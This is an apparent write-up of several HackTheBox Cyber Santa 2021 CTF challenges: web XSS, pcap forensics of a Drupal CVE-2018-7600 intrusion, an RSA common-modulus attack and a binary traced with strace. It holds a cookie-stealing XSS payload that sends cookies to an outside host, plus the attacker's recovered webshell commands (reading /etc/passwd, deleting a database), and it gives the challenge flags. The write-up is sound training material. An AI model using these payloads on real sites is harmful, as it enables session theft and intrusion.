HackTheBox - Cyber Santa is Coming to Town

Writeup for HackTheBox’s Cyber Santa 2021 CTF.

Intro

Day 1

Web - Toy Workshop

The work is going well on Santa’s toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out?

The complete source code was provided for this challenge with a docker file to run it on our own machines. Still, I will first discuss how to approach the vulnerability in this challenge from a black box perspective to show how such vulnerabilities can be identified without any source code.

Black-Box Approach

After starting up the challenge and visiting the webpage, we are presented with the following page.

Going through the source code of the web page, we can see that a JavaScript file index.js is included which we decide to take a look at. We can see that there is an interaction with the elves which opens a dialog. Depending on which elf we choose, we will actually get a different picture and name of the elf.

After clicking on one elf, we insert some test text into the opened form and intercept the request with Burp Suite. We could also find the issued request from the form in the JavaScript file, but these files tend to get messy and just intercepting the request allows me to also manipulate and repeat it as often as I want.

This will result in the following request.

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/submit HTTP/1.1
Host: 188.166.174.81:31584
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://188.166.174.81:31584/
Content-Type: application/json
Origin: http://188.166.174.81:31584
Content-Length: 26
Connection: close

{"query":"This is a test"}

This shows us, that we are sending the data which is in query via a POST request to /api/submit. The message from the elf above the form is a great hint, that our message will be visited somewhere by a manager. Therefore the next reasonable approach to attack this is some client-side injection such as a Cross-Site scripting (XSS) attack, which will be triggered if someone visits our message. To see if someone actually views our sent message in a browser and if we are able to inject HTML tags in there, we simply use an <img>-tag which points to a location which we control.

1
2
3
POST /api/submit HTTP/1.1
[...]
{"query":"<img src='http://wtf.link:12345/test'></img>"}

To see if this image is visited, we use the Python http server module and wait for a request.

1
2
3
4
5
~ python3 -m http.server 12345
Serving HTTP on 0.0.0.0 port 12345 (http://0.0.0.0:12345/) ...

188.166.174.81 - - [01/Dec/2021 17:44:10] code 404, message File not found
188.166.174.81 - - [01/Dec/2021 17:44:10] "GET /test HTTP/1.1" 404 -

The request towards /test shows us, that someone actually tried to access the image with the same IP address as the web application. This means, we are able to inject HTML tags which are seemingly loaded unfiltered by a page which is visited to show the queries. Therefore, we can try to inject arbitrary JavaScript code with the <script>-tag and try to steal information. We will use the following cookie stealer as query parameter, shamelessly copied from swisskyrepo’s repository PayloadAllTheThings.

1
2
3
POST /api/submit HTTP/1.1
[...]
{"query":"<script>new Image().src='http://wtf.link:12345/cookies?c='+document.cookie;</script>"}

The request towards the injected image with the cookie value appended can be seen after a short wait.

1
2
3
4
5
~ python3 -m http.server 12345
Serving HTTP on 0.0.0.0 port 12345 (http://0.0.0.0:12345/) ...

188.166.174.81 - - [01/Dec/2021 17:46:22] code 404, message File not found
188.166.174.81 - - [01/Dec/2021 17:46:22] "GET /cookies?c=flag=HTB{3v1l_3lv3s_4r3_r1s1ng_up!} HTTP/1.1" 404 -

Pwn - Mr Snowy

There is ❄️ snow everywhere!! Kids are playing around, everything looks amazing. But, this ☃️ snowman… it scares me.. He is always 👀 staring at Santa’s house. Something must be wrong with him.

Forensics - baby APT

This is the most wonderful time of the year, but not for Santa’s incident response team. Since Santa went digital, everyone can write a letter to him using his brand new website. Apparently an APT group hacked their way in to Santa’s server and destroyed his present list. Could you investigate what happened?

This challenge was an offline challenge which provided a pcap file which is used to capture network traffic.

1
2
~ file christmaswishlist.pcap 
christmaswishlist.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

We use Wireshark to open the file and take a look at the captured packets. The capture starts with OCSP requests which are shown in the following screenshot.

The IP Address 93.184.220.29 which is used in these requests seems to be a public internet facing address and the domain ocsp.digicert.com shows up in the packets content. By making a DNS request toward this domain, it can be verified that it is pointing at this address.

1
2
3
4
5
dig ocsp.digicert.com
[...]
;; ANSWER SECTION:
ocsp.digicert.com. 1427 IN CNAME cs9.wac.phicdn.net.
cs9.wac.phicdn.net. 1377 IN A 93.184.220.29

We will use the filter ip.src != 93.184.220.29 && ip.dst != 93.184.220.29 in Wireshark, to get rid of these packets as we can assume that they are not part of the challenge. This leaves us with traffic which looks as shown in the following screenshot throughout the remaining capture.

We can see traffic between an Amazon EC2 instance (52.41.2.143) and an IP address (10.0.2.15) which seemingly belongs to some kind of internal Network/VPN. As this traffic is using TLS which is encrypted, we will focus on the remaining unencrypted HTTP packets, extending our filter to: ip.src != 93.184.220.29 && ip.dst != 93.184.220.29 && http.

Using this filter, we will take one of the remaining HTTP packets (packet no. 64) which looks promising and select Follow->TCP Stream which shows the following:

From the requested URL and used parameters, it can be assumed that the application which was attacked was a Drupal website with the vulnerability described in CVE-2018-7600 was used to achieve remote code execution on the webserver. The curl request which was issued on the webserver using this vulnerability downloads a PHP webshell and places it into bg.php. So the next step to get the attacker’s path is to look at all packets which requested this file and extract their content. This shows us that the following requests were done using the webshell:

1
2
3
4
5
cat /etc/passwd
groups
ls -al
ls -al /var/www/html/sites/default/files
rm /var/www/html/sites/default/files/.ht.sqlite && echo SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59 > /dev/null 2>&1 && ls -al /var/www/html/sites/default/files

The last request contains the flag for the challenge base64-encoded:

1
2
~ echo SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59 | base64 -d
HTB{0k_n0w_3v3ry0n3_h4s_t0_dr0p_0ff_th3ir_l3tt3rs_4t_th3_p0st_0ff1c3_4g41n}

Crypto - Common Mistake

Elves are trying very hard to communicate in perfect secrecy in order to keep Santa’s warehouse. Unfortunately, their lack of knowledge about cryptography leads them to common mistakes.

This challenge started with a single file encrypted.txt.

1
2
3
~ cat encrypted.txt 
{'n': '0xa96e6f[...]f0eef', 'e': '0x10001', 'ct': '0x55cfe2[...}]'}
{'n': '0xa96e6f[...]f0eef', 'e': '0x23', 'ct': '0x79834ce[...]'}

We are presented with to key/value blobs with the key values n, e, and ct with ct assumingly being short for ciphertext and n and e being the public key parts of an RSA key. I have shortened the values n and ct for the sake of readability but the important aspect to solve the challenge remains. What we have to see here is that the public key part differs, because e is different. So it can be assumed that both ciphertexts, which are also different, have been encrypted with different keys. But because the component n is completely identical, it is possible to issue a common modulus attack which is explained much better in the referenced blogpost, than I could write it down. I used RSACtfTools to translate the key components into a public key file and used HexPandaa’s python script to solve the challenge. As the script requires the ciphertext to be base64 encoded i simply used CyberChef to get the encoded values.

1
2
3
4
5
6
7
~ python3 RsaCtfTool.py --createpub -n 0xa96e[...]0eef -e 0x10001 > pub1.pub
~ python3 RsaCtfTool.py --createpub -n 0xa96e[...]0eef -e 0x23 > pub2.pub
~ python3 rsa-cm.py -c1 m1.b64 -c2 m2.b64 -k1 pub1.pub -k2 pub2.pub
[+] Recovered message:
154494104151501230741951698942733388017524925426108770319061863579333462036794337421344018523054973
[+] Recovered bytes:
b'HTB{c0mm0n_m0d_4774ck_15_4n07h3r_cl4ss1c}'

Reversing - Infiltration

We got a hold of an internal communication tool being used by the elves, and managed to hook it up to their server. However, it won’t let us see their secrets? Can you take a look inside?

The first reversing challenge consisted of a single binary file called client. We can see that it is a 64-bit ELF binary which is stripped using the file command.

1
2
~ file client 
client: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bcb9d17215725749cf2ce0ee9ef5df3c98ba8f00, for GNU/Linux 4.4.0, stripped

The binary tells us that it requires a host and a port if started without any arguments. I used strace to see which system calls are done by the client and this was already sufficient to see the flag which is sent “silently”, because it will not be returned by the binary itself.

1
2
3
4
5
6
7
8
9
10
~ strace ./client 134.209.18.133 31769
execve("./client", ["./client", "134.209.18.133", "31769"], 0x7fffa90bc610 /* 49 vars */) = 0
brk(NULL) = 0x55a3b399d000
[...]
recvfrom(3, "HTB{n0t_qu1t3_s0_0p4qu3}", 1024, 0, NULL, NULL) = 24
[...]
write(1, "[!] Untrusted Client Location - "..., 53[!] Untrusted Client Location - Enabling Opaque Mode
) = 53
exit_group(0) = ?
+++ exited with 0 +++

The transmission of the flag can also be seen using wireshark again and following the TCP stream upon starting the client binary.